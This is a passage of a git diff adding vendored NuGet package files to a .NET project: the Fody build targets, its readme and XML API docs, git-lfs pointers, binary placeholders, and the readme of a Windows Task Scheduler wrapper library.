PropertyName="FodyExecutedWeavers" />
|
||||
|
||||
</Fody.WeavingTask>
|
||||
|
||||
<ItemGroup>
|
||||
<FileWrites Include="$(IntermediateOutputPath)$(MSBuildProjectFile).Fody.CopyLocal.cache" />
|
||||
<FileWrites Include="$(IntermediateOutputPath)$(MSBuildProjectFile).Fody.RuntimeCopyLocal.cache" />
|
||||
</ItemGroup>
|
||||
|
||||
</Target>
|
||||
|
||||
<Target
|
||||
Name="FodyUpdateReferenceCopyLocalFilesTarget"
|
||||
AfterTargets="FodyTarget"
|
||||
>
|
||||
|
||||
<Fody.UpdateCopyLocalTask
|
||||
CopyLocalFiles="@(ReferenceCopyLocalPaths)"
|
||||
IntermediateCopyLocalFilesCache="$(IntermediateOutputPath)$(MSBuildProjectFile).Fody.CopyLocal.cache"
|
||||
>
|
||||
|
||||
<Output
|
||||
TaskParameter="UpdatedCopyLocalFiles"
|
||||
ItemName="FodyUpdatedReferenceCopyLocalPaths" />
|
||||
|
||||
</Fody.UpdateCopyLocalTask>
|
||||
|
||||
<ItemGroup>
|
||||
<FodyRemovedReferenceCopyLocalPaths Include="@(ReferenceCopyLocalPaths)" />
|
||||
<FodyRemovedReferenceCopyLocalPaths Remove="@(FodyUpdatedReferenceCopyLocalPaths)" />
|
||||
<ReferenceCopyLocalPaths Remove="@(ReferenceCopyLocalPaths)" />
|
||||
<ReferenceCopyLocalPaths Include="@(FodyUpdatedReferenceCopyLocalPaths)" />
|
||||
</ItemGroup>
|
||||
|
||||
</Target>
|
||||
|
||||
<Target
|
||||
Name="FodyUpdateRuntimeCopyLocalItemsTarget"
|
||||
AfterTargets="FodyTarget"
|
||||
>
|
||||
|
||||
<Fody.UpdateCopyLocalTask
|
||||
CopyLocalFiles="@(RuntimeCopyLocalItems)"
|
||||
IntermediateCopyLocalFilesCache="$(IntermediateOutputPath)$(MSBuildProjectFile).Fody.RuntimeCopyLocal.cache"
|
||||
>
|
||||
|
||||
<Output
|
||||
TaskParameter="UpdatedCopyLocalFiles"
|
||||
ItemName="FodyUpdatedRuntimeCopyLocalItems" />
|
||||
|
||||
</Fody.UpdateCopyLocalTask>
|
||||
|
||||
<ItemGroup>
|
||||
<FodyRemovedRuntimeCopyLocalItems Include="@(RuntimeCopyLocalItems)" />
|
||||
<FodyRemovedRuntimeCopyLocalItems Remove="@(FodyUpdatedRuntimeCopyLocalItems)" />
|
||||
<RuntimeCopyLocalItems Remove="@(RuntimeCopyLocalItems)" />
|
||||
<RuntimeCopyLocalItems Include="@(FodyUpdatedRuntimeCopyLocalItems)" />
|
||||
</ItemGroup>
|
||||
|
||||
</Target>
|
||||
|
||||
<Target
|
||||
Name="FodyVerifyTarget"
|
||||
AfterTargets="AfterBuild"
|
||||
Condition="'$(NCrunch)' != '1' And $(FodyExecutedWeavers) != '' And $(DisableFody) != true"
|
||||
DependsOnTargets="$(FodyVerifyDependsOnTargets)">
|
||||
|
||||
<Fody.VerifyTask
|
||||
ProjectDirectory="$(MSBuildProjectDirectory)"
|
||||
TargetPath="$(TargetPath)"
|
||||
SolutionDirectory="$(SolutionDir)"
|
||||
WeaverConfiguration="$(WeaverConfiguration)"
|
||||
DefineConstants="$(DefineConstants)"
|
||||
NCrunchOriginalSolutionDirectory="$(NCrunchOriginalSolutionDir)"
|
||||
/>
|
||||
|
||||
</Target>
|
||||
|
||||
</Project>
|
||||
BIN
Binary file not shown.
|
After Width: | Height: | Size: 1.7 KiB |
@@ -0,0 +1,6 @@
|
||||
### Extensible tool for weaving .net assemblies
|
||||
|
||||
Manipulating the IL of an assembly as part of a build requires a significant amount of plumbing code. This plumbing code involves knowledge of both the MSBuild and Visual Studio APIs. Fody attempts to eliminate that plumbing code through an extensible add-in model.
|
||||
|
||||
For more information about the Fody project see https://github.com/Fody/Home
|
||||
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,293 @@
|
||||
<?xml version="1.0"?>
|
||||
<doc>
|
||||
<assembly>
|
||||
<name>FodyHelpers</name>
|
||||
</assembly>
|
||||
<members>
|
||||
<member name="T:Fody.BaseModuleWeaver">
|
||||
<summary>
|
||||
Base class for module weavers.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.Config">
|
||||
<summary>
|
||||
The full element XML from FodyWeavers.xml.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="M:Fody.BaseModuleWeaver.WriteDebug(System.String)">
|
||||
<summary>
|
||||
Write a log entry to MSBuild with the <see cref="F:Fody.MessageImportance.Low"/> level
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.LogDebug">
|
||||
<summary>
|
||||
Handler for writing a log entry at the <see cref="F:Fody.MessageImportance.Low"/> level.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="M:Fody.BaseModuleWeaver.WriteInfo(System.String)">
|
||||
<summary>
|
||||
Write a log entry to MSBuild with the <see cref="F:Fody.MessageImportance.Normal"/> level
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.LogInfo">
|
||||
<summary>
|
||||
Handler for writing a log entry at the <see cref="F:Fody.MessageImportance.Normal"/> level.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="M:Fody.BaseModuleWeaver.WriteMessage(System.String,Fody.MessageImportance)">
|
||||
<summary>
|
||||
Write a log entry to MSBuild with <paramref name="importance"/> level
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.LogMessage">
|
||||
<summary>
|
||||
Handler for writing a log entry at a specific <see cref="T:Fody.MessageImportance"/> level.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="M:Fody.BaseModuleWeaver.WriteWarning(System.String)">
|
||||
<summary>
|
||||
Write a warning to MSBuild.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="M:Fody.BaseModuleWeaver.WriteWarning(System.String,Mono.Cecil.Cil.SequencePoint)">
|
||||
<summary>
|
||||
Write a warning to MSBuild and use <paramref name="sequencePoint"/> for the file and line information.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="M:Fody.BaseModuleWeaver.WriteWarning(System.String,Mono.Cecil.MethodDefinition)">
|
||||
<summary>
|
||||
Write a warning to MSBuild and use <paramref name="method"/> for the file and line information.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.LogWarning">
|
||||
<summary>
|
||||
Handler for writing a warning.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.LogWarningPoint">
|
||||
<summary>
|
||||
Handler for writing a warning at a specific point in the code
|
||||
</summary>
|
||||
</member>
|
||||
<member name="M:Fody.BaseModuleWeaver.WriteError(System.String)">
|
||||
<summary>
|
||||
Write an error to MSBuild.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="M:Fody.BaseModuleWeaver.WriteError(System.String,Mono.Cecil.Cil.SequencePoint)">
|
||||
<summary>
|
||||
Write an error to MSBuild and use <paramref name="sequencePoint"/> for the file and line information.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="M:Fody.BaseModuleWeaver.WriteError(System.String,Mono.Cecil.MethodDefinition)">
|
||||
<summary>
|
||||
Write a error to MSBuild and use <paramref name="method"/> for the file and line information.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.LogError">
|
||||
<summary>
|
||||
Handler for writing an error.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.LogErrorPoint">
|
||||
<summary>
|
||||
Handler for writing an error at a specific point in the code.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.ResolveAssembly">
|
||||
<summary>
|
||||
Handler for resolving <see cref="T:Mono.Cecil.AssemblyDefinition"/>s.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.AssemblyResolver">
|
||||
<summary>
|
||||
The current <see cref="T:Mono.Cecil.IAssemblyResolver"/>s.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.ModuleDefinition">
|
||||
<summary>
|
||||
An instance of <see cref="T:Mono.Cecil.ModuleDefinition"/> for processing.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.TypeSystem">
|
||||
<summary>
|
||||
Commonly used <see cref="T:Mono.Cecil.TypeReference"/>s.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.AssemblyFilePath">
|
||||
<summary>
|
||||
The full path of the target assembly.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.ProjectDirectoryPath">
|
||||
<summary>
|
||||
The full directory path of the target project.
|
||||
A copy of $(MSBuildProjectDirectory).
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.ProjectFilePath">
|
||||
<summary>
|
||||
The full file path of the target project.
|
||||
A copy of $(MSBuildProjectFullPath).
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.DocumentationFilePath">
|
||||
<summary>
|
||||
The full directory path of the XML documentation file,
|
||||
if generating the documentation file is enabled in the project.
|
||||
A copy of @(DocFileItem->'%(FullPath)').
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.AddinDirectoryPath">
|
||||
<summary>
|
||||
The full directory path of the current weaver.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.SolutionDirectoryPath">
|
||||
<summary>
|
||||
The full directory path of the current solution.
|
||||
A copy of `$(SolutionDir)` or, if it does not exist, a copy of `$(MSBuildProjectDirectory)..\..\..\`. OPTIONAL
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.References">
|
||||
<summary>
|
||||
A semicolon delimited string that contains
|
||||
all the references for the target project.
|
||||
A copy of the contents of the @(ReferencePath).
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.ReferenceCopyLocalPaths">
|
||||
<summary>
|
||||
A list of all the references marked as copy-local.
|
||||
A copy of the contents of the @(ReferenceCopyLocalPaths).
|
||||
</summary>
|
||||
<remarks>
|
||||
This list will be actively synced back to the build system, i.e. adding or removing items from this list will modify the @(ReferenceCopyLocalPaths) list of the current build.
|
||||
</remarks>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.RuntimeCopyLocalPaths">
|
||||
<summary>
|
||||
A list of all the runtime references marked as copy-local.
|
||||
A copy of the contents of the @(RuntimeCopyLocalItems).
|
||||
</summary>
|
||||
<remarks>
|
||||
This list will be actively synced back to the build system, i.e. adding or removing items from this list will modify the @(RuntimeCopyLocalItems) list of the current build.
|
||||
</remarks>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.DefineConstants">
|
||||
<summary>
|
||||
A list of all the msbuild constants.
|
||||
A copy of the contents of the $(DefineConstants).
|
||||
</summary>
|
||||
</member>
|
||||
<member name="M:Fody.BaseModuleWeaver.Execute">
|
||||
<summary>
|
||||
Called when the weaver is executed.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="M:Fody.BaseModuleWeaver.Cancel">
|
||||
<summary>
|
||||
Called when a request to cancel the build occurs.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="M:Fody.BaseModuleWeaver.GetAssembliesForScanning">
|
||||
<summary>
|
||||
Return a list of assembly names for scanning.
|
||||
Used as a list for <see cref="P:Fody.BaseModuleWeaver.FindType"/>.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="M:Fody.BaseModuleWeaver.FindTypeDefinition(System.String)">
|
||||
<summary>
|
||||
Find a <see cref="T:Mono.Cecil.TypeDefinition"/>.
|
||||
Uses all assemblies listed from calling <see cref="M:Fody.BaseModuleWeaver.GetAssembliesForScanning"/> on all weavers.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.FindType">
|
||||
<summary>
|
||||
Handler for searching for a type.
|
||||
Uses all assemblies listed from calling <see cref="M:Fody.BaseModuleWeaver.GetAssembliesForScanning"/> on all weavers.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="M:Fody.BaseModuleWeaver.TryFindTypeDefinition(System.String,Mono.Cecil.TypeDefinition@)">
|
||||
<summary>
|
||||
Find a <see cref="T:Mono.Cecil.TypeDefinition"/>.
|
||||
Uses all assemblies listed from calling <see cref="M:Fody.BaseModuleWeaver.GetAssembliesForScanning"/> on all weavers.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.TryFindType">
|
||||
<summary>
|
||||
Handler for searching for a type.
|
||||
Uses all assemblies listed from calling <see cref="M:Fody.BaseModuleWeaver.GetAssembliesForScanning"/> on all weavers.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="M:Fody.BaseModuleWeaver.AfterWeaving">
|
||||
<summary>
|
||||
Called after all weaving has occurred and the module has been saved.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.ShouldCleanReference">
|
||||
<summary>
|
||||
Set to true if the reference to an equally named library (same name as this fody addin with the ending ".Fody" trimmed)
|
||||
should be removed by Fody after a successful execution
|
||||
</summary>
|
||||
</member>
|
||||
<member name="T:Fody.MessageImportance">
|
||||
<summary>
|
||||
Abstraction for the MSBuild MessageImportance.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="T:Fody.MessageImportanceDefaults">
|
||||
<summary>
|
||||
Defaults for <see cref="T:Fody.MessageImportance"/> when writing to <see cref="P:Fody.BaseModuleWeaver.LogDebug"/> and <see cref="P:Fody.BaseModuleWeaver.LogInfo"/>.
|
||||
Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="T:Fody.Ildasm">
|
||||
<summary>
|
||||
Decompile assemblies using ildasm.exe.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="T:Fody.LogMessage">
|
||||
<summary>
|
||||
Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="T:Fody.PeVerifier">
|
||||
<summary>
|
||||
Verifies assemblies using peverify.exe.
|
||||
Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="T:Fody.SequencePointMessage">
|
||||
<summary>
|
||||
Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="T:Fody.TestAssemblyResolver">
|
||||
<summary>
|
||||
Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="T:Fody.TestResult">
|
||||
<summary>
|
||||
Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="T:Fody.WeaverTestHelper">
|
||||
<summary>
|
||||
Uses <see cref="P:System.Reflection.Assembly.CodeBase"/> to derive the current directory.
|
||||
Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="T:Fody.TypeCache">
|
||||
<summary>
|
||||
Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="T:Fody.TypeSystem">
|
||||
<summary>
|
||||
Replacement for <see cref="P:Mono.Cecil.ModuleDefinition.TypeSystem"/>.
|
||||
</summary>
|
||||
</member>
|
||||
</members>
|
||||
</doc>
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,293 @@
|
||||
<?xml version="1.0"?>
|
||||
<doc>
|
||||
<assembly>
|
||||
<name>FodyHelpers</name>
|
||||
</assembly>
|
||||
<members>
|
||||
<member name="T:Fody.BaseModuleWeaver">
|
||||
<summary>
|
||||
Base class for module weavers.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.Config">
|
||||
<summary>
|
||||
The full element XML from FodyWeavers.xml.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="M:Fody.BaseModuleWeaver.WriteDebug(System.String)">
|
||||
<summary>
|
||||
Write a log entry to MSBuild with the <see cref="F:Fody.MessageImportance.Low"/> level
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.LogDebug">
|
||||
<summary>
|
||||
Handler for writing a log entry at the <see cref="F:Fody.MessageImportance.Low"/> level.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="M:Fody.BaseModuleWeaver.WriteInfo(System.String)">
|
||||
<summary>
|
||||
Write a log entry to MSBuild with the <see cref="F:Fody.MessageImportance.Normal"/> level
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.LogInfo">
|
||||
<summary>
|
||||
Handler for writing a log entry at the <see cref="F:Fody.MessageImportance.Normal"/> level.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="M:Fody.BaseModuleWeaver.WriteMessage(System.String,Fody.MessageImportance)">
|
||||
<summary>
|
||||
Write a log entry to MSBuild with <paramref name="importance"/> level
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.LogMessage">
|
||||
<summary>
|
||||
Handler for writing a log entry at a specific <see cref="T:Fody.MessageImportance"/> level.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="M:Fody.BaseModuleWeaver.WriteWarning(System.String)">
|
||||
<summary>
|
||||
Write a warning to MSBuild.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="M:Fody.BaseModuleWeaver.WriteWarning(System.String,Mono.Cecil.Cil.SequencePoint)">
|
||||
<summary>
|
||||
Write a warning to MSBuild and use <paramref name="sequencePoint"/> for the file and line information.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="M:Fody.BaseModuleWeaver.WriteWarning(System.String,Mono.Cecil.MethodDefinition)">
|
||||
<summary>
|
||||
Write a warning to MSBuild and use <paramref name="method"/> for the file and line information.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.LogWarning">
|
||||
<summary>
|
||||
Handler for writing a warning.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.LogWarningPoint">
|
||||
<summary>
|
||||
Handler for writing a warning at a specific point in the code
|
||||
</summary>
|
||||
</member>
|
||||
<member name="M:Fody.BaseModuleWeaver.WriteError(System.String)">
|
||||
<summary>
|
||||
Write an error to MSBuild.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="M:Fody.BaseModuleWeaver.WriteError(System.String,Mono.Cecil.Cil.SequencePoint)">
|
||||
<summary>
|
||||
Write an error to MSBuild and use <paramref name="sequencePoint"/> for the file and line information.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="M:Fody.BaseModuleWeaver.WriteError(System.String,Mono.Cecil.MethodDefinition)">
|
||||
<summary>
|
||||
Write a error to MSBuild and use <paramref name="method"/> for the file and line information.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.LogError">
|
||||
<summary>
|
||||
Handler for writing an error.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.LogErrorPoint">
|
||||
<summary>
|
||||
Handler for writing an error at a specific point in the code.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.ResolveAssembly">
|
||||
<summary>
|
||||
Handler for resolving <see cref="T:Mono.Cecil.AssemblyDefinition"/>s.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.AssemblyResolver">
|
||||
<summary>
|
||||
The current <see cref="T:Mono.Cecil.IAssemblyResolver"/>s.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.ModuleDefinition">
|
||||
<summary>
|
||||
An instance of <see cref="T:Mono.Cecil.ModuleDefinition"/> for processing.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.TypeSystem">
|
||||
<summary>
|
||||
Commonly used <see cref="T:Mono.Cecil.TypeReference"/>s.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.AssemblyFilePath">
|
||||
<summary>
|
||||
The full path of the target assembly.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.ProjectDirectoryPath">
|
||||
<summary>
|
||||
The full directory path of the target project.
|
||||
A copy of $(MSBuildProjectDirectory).
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.ProjectFilePath">
|
||||
<summary>
|
||||
The full file path of the target project.
|
||||
A copy of $(MSBuildProjectFullPath).
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.DocumentationFilePath">
|
||||
<summary>
|
||||
The full directory path of the XML documentation file,
|
||||
if generating the documentation file is enabled in the project.
|
||||
A copy of @(DocFileItem->'%(FullPath)').
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.AddinDirectoryPath">
|
||||
<summary>
|
||||
The full directory path of the current weaver.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.SolutionDirectoryPath">
|
||||
<summary>
|
||||
The full directory path of the current solution.
|
||||
A copy of `$(SolutionDir)` or, if it does not exist, a copy of `$(MSBuildProjectDirectory)..\..\..\`. OPTIONAL
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.References">
|
||||
<summary>
|
||||
A semicolon delimited string that contains
|
||||
all the references for the target project.
|
||||
A copy of the contents of the @(ReferencePath).
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.ReferenceCopyLocalPaths">
|
||||
<summary>
|
||||
A list of all the references marked as copy-local.
|
||||
A copy of the contents of the @(ReferenceCopyLocalPaths).
|
||||
</summary>
|
||||
<remarks>
|
||||
This list will be actively synced back to the build system, i.e. adding or removing items from this list will modify the @(ReferenceCopyLocalPaths) list of the current build.
|
||||
</remarks>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.RuntimeCopyLocalPaths">
|
||||
<summary>
|
||||
A list of all the runtime references marked as copy-local.
|
||||
A copy of the contents of the @(RuntimeCopyLocalItems).
|
||||
</summary>
|
||||
<remarks>
|
||||
This list will be actively synced back to the build system, i.e. adding or removing items from this list will modify the @(RuntimeCopyLocalItems) list of the current build.
|
||||
</remarks>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.DefineConstants">
|
||||
<summary>
|
||||
A list of all the msbuild constants.
|
||||
A copy of the contents of the $(DefineConstants).
|
||||
</summary>
|
||||
</member>
|
||||
<member name="M:Fody.BaseModuleWeaver.Execute">
|
||||
<summary>
|
||||
Called when the weaver is executed.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="M:Fody.BaseModuleWeaver.Cancel">
|
||||
<summary>
|
||||
Called when a request to cancel the build occurs.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="M:Fody.BaseModuleWeaver.GetAssembliesForScanning">
|
||||
<summary>
|
||||
Return a list of assembly names for scanning.
|
||||
Used as a list for <see cref="P:Fody.BaseModuleWeaver.FindType"/>.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="M:Fody.BaseModuleWeaver.FindTypeDefinition(System.String)">
|
||||
<summary>
|
||||
Find a <see cref="T:Mono.Cecil.TypeDefinition"/>.
|
||||
Uses all assemblies listed from calling <see cref="M:Fody.BaseModuleWeaver.GetAssembliesForScanning"/> on all weavers.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.FindType">
|
||||
<summary>
|
||||
Handler for searching for a type.
|
||||
Uses all assemblies listed from calling <see cref="M:Fody.BaseModuleWeaver.GetAssembliesForScanning"/> on all weavers.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="M:Fody.BaseModuleWeaver.TryFindTypeDefinition(System.String,Mono.Cecil.TypeDefinition@)">
|
||||
<summary>
|
||||
Find a <see cref="T:Mono.Cecil.TypeDefinition"/>.
|
||||
Uses all assemblies listed from calling <see cref="M:Fody.BaseModuleWeaver.GetAssembliesForScanning"/> on all weavers.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.TryFindType">
|
||||
<summary>
|
||||
Handler for searching for a type.
|
||||
Uses all assemblies listed from calling <see cref="M:Fody.BaseModuleWeaver.GetAssembliesForScanning"/> on all weavers.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="M:Fody.BaseModuleWeaver.AfterWeaving">
|
||||
<summary>
|
||||
Called after all weaving has occurred and the module has been saved.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:Fody.BaseModuleWeaver.ShouldCleanReference">
|
||||
<summary>
|
||||
Set to true if the reference to an equally named library (same name as this fody addin with the ending ".Fody" trimmed)
|
||||
should be removed by Fody after a successful execution
|
||||
</summary>
|
||||
</member>
|
||||
<member name="T:Fody.MessageImportance">
|
||||
<summary>
|
||||
Abstraction for the MSBuild MessageImportance.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="T:Fody.MessageImportanceDefaults">
|
||||
<summary>
|
||||
Defaults for <see cref="T:Fody.MessageImportance"/> when writing to <see cref="P:Fody.BaseModuleWeaver.LogDebug"/> and <see cref="P:Fody.BaseModuleWeaver.LogInfo"/>.
|
||||
Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="T:Fody.Ildasm">
|
||||
<summary>
|
||||
Decompile assemblies using ildasm.exe.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="T:Fody.LogMessage">
|
||||
<summary>
|
||||
Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="T:Fody.PeVerifier">
|
||||
<summary>
|
||||
Verifies assemblies using peverify.exe.
|
||||
Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="T:Fody.SequencePointMessage">
|
||||
<summary>
|
||||
Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="T:Fody.TestAssemblyResolver">
|
||||
<summary>
|
||||
Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="T:Fody.TestResult">
|
||||
<summary>
|
||||
Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="T:Fody.WeaverTestHelper">
|
||||
<summary>
|
||||
Uses <see cref="P:System.Reflection.Assembly.CodeBase"/> to derive the current directory.
|
||||
Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="T:Fody.TypeCache">
|
||||
<summary>
|
||||
Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="T:Fody.TypeSystem">
|
||||
<summary>
|
||||
Replacement for <see cref="P:Mono.Cecil.ModuleDefinition.TypeSystem"/>.
|
||||
</summary>
|
||||
</member>
|
||||
</members>
|
||||
</doc>
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,3 @@
|
||||
version https://git-lfs.github.com/spec/v1
|
||||
oid sha256:2baeee20c8f0cd7edadf312062c75bf1128944c0b46e624be6ef5283974c3061
|
||||
size 2394328
|
||||
@@ -0,0 +1,3 @@
|
||||
version https://git-lfs.github.com/spec/v1
|
||||
oid sha256:b6cdae4d257a9d1514f257ef9fcbda10508e87409ba60db8b6b17a84c562d09b
|
||||
size 2832896
|
||||
@@ -0,0 +1,3 @@
|
||||
version https://git-lfs.github.com/spec/v1
|
||||
oid sha256:b583b09c805ada4d527380a736e14ba6c6ca77a355381bcb9f26a2bea4f1ab6b
|
||||
size 2580492
|
||||
@@ -0,0 +1,3 @@
|
||||
version https://git-lfs.github.com/spec/v1
|
||||
oid sha256:7600888ea1ad6c61d67f1bc221d17e6f5d1d6c88ee4531148241b55a2ec22c79
|
||||
size 2832896
|
||||
@@ -0,0 +1,3 @@
|
||||
version https://git-lfs.github.com/spec/v1
|
||||
oid sha256:b583b09c805ada4d527380a736e14ba6c6ca77a355381bcb9f26a2bea4f1ab6b
|
||||
size 2580492
|
||||
Binary file not shown.
@@ -0,0 +1,3 @@
|
||||
version https://git-lfs.github.com/spec/v1
|
||||
oid sha256:d39c82d6e7f366b45053c3f11b512f0ec021d1a0fcf9fe0283478b2edd0b8dd9
|
||||
size 2392568
|
||||
@@ -0,0 +1,72 @@
|
||||
## About
|
||||
The original and most popular .NET wrapper for the [Windows Task Scheduler](https://docs.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-start-page). It provides functionally complete classes that cover all development aspects related to system tasks.
|
||||
|
||||
More information can be found on the [project page on GitHub](https://github.com/dahall/taskscheduler).
|
||||
|
||||
## Support
|
||||
Below are links to sites that provide in-depth examples, documentation and discussions. Please go here first with your questions as the community has been active for over a decade.
|
||||
* [Wiki](https://github.com/dahall/TaskScheduler/wiki) - Sample code, library how-to, troubleshooting, etc.
|
||||
* [API documentation](https://dahall.github.io/TaskScheduler) - Class/method/property documentation and examples
|
||||
* [Full Issues Log](https://github.com/dahall/TaskScheduler/issues?q=) - Use the search box to see if your question may already be answered.
|
